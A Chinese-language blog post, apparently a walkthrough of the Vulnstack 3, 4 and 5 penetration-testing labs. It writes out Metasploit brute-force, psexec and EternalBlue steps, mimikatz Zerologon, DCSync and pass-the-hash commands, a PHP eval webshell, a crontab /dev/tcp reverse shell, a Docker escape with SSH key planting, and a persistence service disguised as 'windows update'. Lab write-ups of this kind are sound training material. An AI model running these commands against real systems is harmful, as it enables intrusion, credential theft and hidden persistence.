set SRVPORT 6677 将 SOCKS 代理服务监听端口设置为 6677,默认是 1080
run 启动 SOCKS 代理服务器,允许其他工具(如 ProxyChains)通过 Metasploit 会话访问目标内网。

探测内网网段存活主机

使用auxiliary/scanner/discovery/udp_probe模块来扫描内网主机

use auxiliary/scanner/discovery/udp_probe
set rhost 192.168.93.0-255
set threads 5
run
命令 解析
use auxiliary/scanner/discovery/udp_probe 选择 UDP 探测扫描 模块,用于发现目标主机的 UDP 服务。
set RHOSTS 192.168.93.0-255 设置目标 IP 范围,扫描 192.168.93.0 ~ 192.168.93.255 这个 C 段网段
set THREADS 5 设置 并发线程数 为 5,加快扫描速度。
run 启动 UDP 扫描,Metasploit 会尝试向目标发送 UDP 探测包,检查响应情况。

image-20250403162549320

可以发现内网中存在的靶机192.168.93.10192.168.93.20192.168.93.30

传播阶段

通过Metasploit来使用SMB暴力破解模块对该主机进行爆破:

use auxiliary/scanner/smb/smb_login
set rhost 192.168.93.30
set SMBUSER administrator
set PASS_FILE /root/rockyou.txt
run
命令 解析
use auxiliary/scanner/smb/smb_login 选择 Metasploit 中的 SMB 登录暴力破解 模块。该模块尝试使用给定的用户名和密码组合,登录目标主机上的 SMB 服务。
set RHOST 192.168.93.30 设置目标主机的 IP 地址为 192.168.93.30。这个主机应该运行 SMB 服务。
set SMBUSER administrator 设置用于 SMB 登录的用户名为 administrator。通常,管理员账户是目标系统上常见的高权限账户。
run 启动 SMB 登录暴力破解,尝试用设置的用户名(如 administrator)和默认密码字典或者自定义密码列表进行登录尝试。

image-20250403170207133

爆破成功(手动加了这条……),配置SMB连接参数:

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
run
命令 解析
use exploit/windows/smb/psexec 选择 SMB 远程代码执行漏洞(psexec),它利用 SMB 协议执行命令。
set payload windows/x64/meterpreter/bind_tcp 设置 绑定 shell 负载,目标主机会监听一个端口,你可以连接它获得远程控制。
set RHOSTS 192.168.93.30 设置目标 Windows 机器的 IP 地址 192.168.93.30
set SMBUSER administrator 设置 SMB 登录的 用户名administrator(高权限账户)。
set SMBPASS 123qwe!ASD 设置 SMB 登录的 密码123qwe!ASD(获取管理员权限)。
run 启动 SMB 远程执行攻击,在目标上运行 Meterpreter shell。

连接成功:

image-20250403170751384

获取shell执行systeminfo查看系统信息:

image-20250403171223648

发现存在域test.org,执行ping test.org查看域控服务器的IP:

image-20250403171325578

可以发现域控主机IP为192.168.93.10

执行net view查看内网的域用户信息:

image-20250403171541593

可以知道域控服务器为WIN-8GA56TNV3MV

利用Zerologon漏洞攻击域控服务器

为了将mimikatz上传到WEB服务器中,先在Metasploit获得的shell中:

修改注册表来打开3389端口、创建新用户sltest并且将其添加到管理员组

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net user sltest nihaoma@123!# /add
net localgroup administrators sltest /add

为了模拟真实环境对域成员进行远程桌面连接,将我的主机与Web服务器搭建一个隧道(项目地址:ph4ntonn/Stowaway: 👻Stowaway -- Multi-hop Proxy Tool for pentesters

RDP隧道搭建:

  1. 上传agent端到靶机上,执行./linux_x64_agent -l 9999本机运行admin端windows_x64_admin.exe -c 192.168.96.128:9999,并添加转发端口:

    image-20250403180709864

  2. 使用proxifier配置代理:

    image-20250403182923777

image-20250403182952756

此时就可以RDP连接远程桌面,上传mimikatz,执行命令:

lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8G56TNV3MV$ /exploit

再执行以下命令获取域控服务器的登录凭据:

lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword:"" /authntlm

image-20250403185559321

得到域控administrator的NTLM的哈希值,最后恢复域控服务器密码:

lsadump::postzerologon /target:test.org /account:WIN-8GA56TNV3MV$

image-20250403185950738

利用PTH攻击域控服务器

Pass-the-Hash(PTH)攻击是一种身份认证攻击,攻击者不需要知道用户的明文密码,而是直接使用NTLM 哈希来模拟用户身份,访问系统或服务。

PTH 攻击原理

Windows 使用 NTLM(NT LAN Manager)身份验证,其中:

  • 用户登录时,系统会生成其密码的 NTLM 哈希(一个固定的 32 字节值)。
  • 这个 哈希值 作为身份凭据,在网络认证过程中使用(而不是明文密码)。

PTH 的核心思想:

  1. 获取 NTLM 哈希
    • 攻击者通过 DCSync 攻击LSASS 转储恶意软件 窃取 NTLM 哈希。
  2. 使用哈希进行身份认证
    • 在目标机器上,直接用哈希进行身份认证,而无需明文密码
  3. 访问远程系统
    • 使用 Pass-the-Hash 工具,攻击者可以用窃取的哈希登录远程机器、域控制器或文件共享系统。

使用mimikatz执行命令:

privilege::debug
sekurlsa::pth /user:administrator /domain:test.org /ntlm:18edd0cc3227be3bf61ce198835a1d97
命令 解析
privilege::debug 获取 SeDebugPrivilege 权限,使 Mimikatz 具备更高的访问级别(通常需要管理员权限)。
sekurlsa::pth 执行 Pass-the-Hash(PTH) 攻击,使用 NTLM 哈希进行身份验证。
/user:administrator 指定要冒充的 用户账户(administrator)。
/domain:test.org 指定 目标域(test.org)。
/ntlm:18edd0cc3227be3bf61ce198835a1d97 直接使用 NTLM 哈希 进行身份验证,而不输入明文密码。

利用PTH攻击域内主机

检查当前 PowerShell 执行策略:

Get-ExecutionPolicy

若为RestrictedAllSigned,修改执行策略:

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
  • Restricted(禁止所有脚本运行)
  • AllSigned(仅允许签名脚本)
  • RemoteSigned(本地脚本可运行,远程脚本需签名)
  • Unrestricted(允许所有脚本运行)

通过Powershell脚本进行PTH攻击(项目地址:[Invoke-TheHash/Invoke-SMBClient.ps1 at master · Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1)):

import-module .\Invoke-SMBclient.ps1
Invoke-SMBclient -Domain test.org -Username administrator -Hash 18edd0cc3227be3bf61ce198835a1d97 -Source \\WIN2008.test.org\c$ -verbose
命令 解析
import-module .\Invoke-SMBclient.ps1 加载本地 PowerShell 模块 Invoke-SMBclient.ps1,用于 SMB 连接。
Invoke-SMBclient 调用 Invoke-SMBclient 命令,执行 SMB 连接与文件操作。
-Domain test.org 指定目标 Windows test.org
-Username administrator 使用 administrator 账户登录。
-Hash 18edd0cc3227be3bf61ce198835a1d97 直接使用 NTLM 哈希 进行身份验证(Pass-the-Hash 技术)。
-Source \\WIN2008.test.org\c$ 访问目标主机 WIN2008.test.orgC 盘共享目录 (c$)。
-verbose 显示详细执行信息(调试模式)。

image-20250403192916034

成功PTH攻击并查看了域内C盘下的文件及目录

持久化和恢复阶段

通过定时任务持久化控制Linux服务器

crontab-e,添加如下任务:

* * * * bash -i >& /dev/tcp/[虚拟机IP]/8888 0>&1

Vulnstack4

web——Web服务器

DC——域控主机

win7——内网域成员主机

img

配置如下:

重点在于VMnet2网卡的配置和NAT模式的配置(web服务器双网卡)

image-20250404113200722

账号密码:

web:
账号:ubuntu
密码:ubuntu

win7:
账号douser
密码Dotest123

DC:
账号:administrator
密码:Test2008

在web服务器中启动docker环境:

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d

image-20250404114220521

探索发现阶段:

扫描开放端口(工具:goby):

image-20250404124042243

扫出四个开放端口,进行探测:

2001:使用的Struts2框架(页面标题)

image-20250404124202250

2002:Tomcat框架

image-20250404124300453

2003:phpmyadmin数据库管理页面

image-20250404124337938

入侵和感染阶段

使用struts2漏洞检测工具进行漏洞测试

(项目地址:Releases · abc123info/Struts2VulsScanTools

image-20250404130422263

成功,进行上传webshell:

image-20250404131711877

使用tomcat漏洞检测工具进行漏洞测试

(项目地址:Release TomcatScanPro · lizhianyuguangming/TomcatScanPro

image-20250404132400234

CVE-2017-12615的漏洞原理介绍:

当在Windows上运行Apache Tomcat 7.0.0到7.0.79并启用HTTP PUTs(例如,通过将默认的只读初始化参数设置为false)时,可以通过特制的请求将JSP文件上传到服务器。然后可以请求这个JSP,服务器将执行其中包含的任何代码。

该项目默认使用godzilla马,进行连接即可

image

image-20250404133117554

使用phpmyadmin应用漏洞对web应用进行漏洞测试

(经典文献:总结分析 | 基于phpmyadmin的渗透测试 - FreeBuf网络安全行业门户

image-20250404141523304

image-20250404141822346

执行:

select '<?php phpinfo();exit;?>'

image-20250404141908909

文件包含(临时session文件应在/tmp/目录下):

#session文件默认保存目录
Linux:
	/tmp
	/var/lib/php/session
Windows:
	C:WINDOWS/Temp
/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sessions/sess_***

image-20250404142312821

image-20250404142410447

image-20250404143453410

成功,并且找到了web应用目录为/var/www/html,接下来尝试写入木马:

select '<?php file_put_contents("/var/www/html/nihao.php","<?php @eval(\$_POST[nihao]);?>");?>';

成功使用蚁剑连接

攻击和利用阶段

Struts2应用Docker服务器逃逸

通过虚拟命令行执行寻找.dockerenv文件,.dockerenv文件为Docker容器特有的文件:

find / -name .dockerenv

image-20250404162633741

在当前服务器根目录发现了.dockerenv文件,说明当前服务器是一个Docker容器

在Docker容器中可以通过使用cdk进行不安全配置扫描(项目地址:Releases · cdk-team/CDK):

./cdk evaluate --full

image-20250404165649308

未发现当前Docker容器内存在不安全的配置和漏洞

CAP_DAC_OVERRIDE(绕过文件权限检查)
CAP_SETUID(修改用户ID)
CAP_SETGID(修改组ID)
CAP_SYS_CHROOT(使用chroot)
CAP_NET_RAW(原始网络操作)

Tomcat应用Docker服务器逃逸

./cdk evaluate --full

image-20250404173853805

CAP_SYS_ADMIN    # 允许挂载文件系统、修改命名空间等系统管理操作
CAP_SYS_MODULE   # 允许加载/卸载内核模块(直接修改宿主机内核)
CAP_DAC_READ_SEARCH  # 绕过文件读权限检查
CAP_NET_ADMIN    # 网络管理权限(可操作宿主机网络)

当Docker容器是以特权模式启动时,可以使用mount命令将物理机的根目录挂载到当前Docker容器的某目录下:

./cdk run mount-disk

image-20250404174211246

该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件,再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下,因此我们可以到挂载的根目录下查看物理靶机路径:

cd /tmp/cdk/cdk_xxxxx

image-20250404174442922

物理机根目录挂载到/tmp/cdk_xxxxx后,可以通过写计划任务或写SSH密钥的方式获取物理机权限。

由于之前探测到该web服务器开启了22端口,因此选择后者。

在自己的linux服务器中生成SSH公钥和私钥:

ssh-keygen -t rsa

image-20250404180034183

将公钥内容上传到tomcat服务器的Docker挂载的物理机中,以authorized_keys命名:

image-20250404180425582

使用私钥连接成功连接上靶机:

image-20250404181111816

Phpmyadmin应用Docker服务器逃逸

为了实现Docker逃逸,首先要将在Docker中获得的权限提高到root:

image-20250404181645809

版本号太高不足以脏牛提权,因此分析是否能够SUID提权:

image-20250404181837840

再上GTFOBins上搜索,没有结果。

探索感知阶段:

与web服务器搭建好隧道,使用Railgun工具进行内网网段扫描:

image-20250404193200736

这里只扫到了192.168.183.130域控主机(win7靶机环境有问题,默认配置的内网ip地址为169.254.87.24脱域了)

好麻烦,直接上MSF了:

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost [虚拟机IP]
set lport 5555
run

添加网段路由:

run autoroute -s 192.168.183.0/24
background
use auxiliary/server/socks_proxy
set SRVPORT 6677
run

对域控主机进行MS17-010永恒之蓝的漏洞检测:

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 4444
run

得到反弹shell,后续同理(后面没详写是因为没有截图……)

Vulnstack5

image-20250523095151691

服务器 账号 密码
Win7 sun\heart 123.com
Win7 sun\Administrator dc123.com
Win2008 sun\admin 2020.com

使用Administrator登录,开启phpstudy:

image-20250522142106114

攻击机访问192.168.135.150成功

image-20250522142205374

image-20250522144337910

探索发现阶段:

进行端口扫描:

nmap -T4 -A -v 192.168.135.150

image-20250522145520789

入侵和感染阶段:

可以发现使用了ThinkPHP框架,可以使用Tpscan批量漏洞扫描(项目地址:GitHub - Lucifer1993/TPscan: 一键ThinkPHP漏洞检测):

image-20250522150426822

可以发现能够利用的漏洞有:

thinkphp_construct_code_exec

thinkphp_invoke_func_code_exec

直接使用综合利用工具(项目地址:GitHub - bewhale/thinkphp_gui_tools: ThinkPHP漏洞综合利用工具, 图形化界面, 命令执行, 一键getshell, 批量检测, 日志遍历, session包含,宝塔绕过

image-20250522204530204

上传脚本,得到webshell

image-20250522210756883

首先关闭防火墙:

netsh advfirewall set allprofiles state off

攻击利用阶段

Cobalt Strike上线:

上传恶意文件并执行:

image-20250523092326476

抓取Web服务器上操作系统凭证:

自动化抓取内存中的密码

image-20250523093417754

探索感知和传播阶段

内网扫描:

image-20250523095213720

找到内网主机192.168.138.138,尝试横向移动,但是失败

内网主机不出网,因此需要使用192.168.138.136开启监听作为代理机:

image-20250523100349075

再次尝试psexec横向移动,成功:

image-20250523100809477

image-20250523101046204

持久化和恢复阶段

创建powershell上线命令,并创建名为windows update的自启动进程

shell sc create "windows.update" binpath="cmd /c [上线命令,注意双引号前加上转义符\]"
shell sc config "windows.update" start=auto
shell sc desctiption "windows update" "提供 Windows 安全补丁"

主要清除日志文件和木马文件即可:

http.conf

posted @ 2025-03-28 00:13  Super_Snow_Sword  阅读(1039)  评论(0)    收藏  举报